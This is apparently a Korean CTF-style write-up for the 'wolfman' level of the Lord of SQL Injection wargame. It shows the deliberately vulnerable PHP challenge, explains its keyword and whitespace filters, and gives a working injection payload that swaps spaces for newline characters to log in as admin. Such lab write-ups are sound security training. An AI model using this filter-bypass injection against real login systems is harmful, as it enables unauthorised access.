query : select id from prob_wolfman where id='guest' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>
코드 해석
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
- pw에 "prob" "_" "." "(" ")"가 포함될 경우 "No Hack ~_~" 출력
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
- pw에 " "(띄어쓰기) 가 포함될 경우 "No whitespace ~_~" 출력
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
- Qurey의 id는 guest으로 고정되어 있음
- Qurey의 pw에 GET 방식으로 삽입
if($result['id'] == 'admin') solve("wolfman");
- id가 'admin'일 경우 문제 해결
문제 해결
" "(띄어쓰기,%20)가 필터링이 되기 때문에 띄어쓰기 대신 Endline(%0a) 삽입
- GET 방식으로 URL에 SQL 대입 ( ?pw='%0aor%0aid='admin'%23 )
- query : select id from prob_wolfman where id='guest' and pw='' or id='admin'#'
'*Wargame > [ LS ] Load of SQL Injection' 카테고리의 다른 글
[ LS - 07 ] orge (0) | 2021.12.18 |
---|---|
[ LS - 06 ] darklef (0) | 2021.12.18 |
[ LS - 04 ] orc (0) | 2021.12.18 |
[ LS - 03 ] goblin (0) | 2021.12.18 |
[ LS - 02 ] cobolt (0) | 2021.12.18 |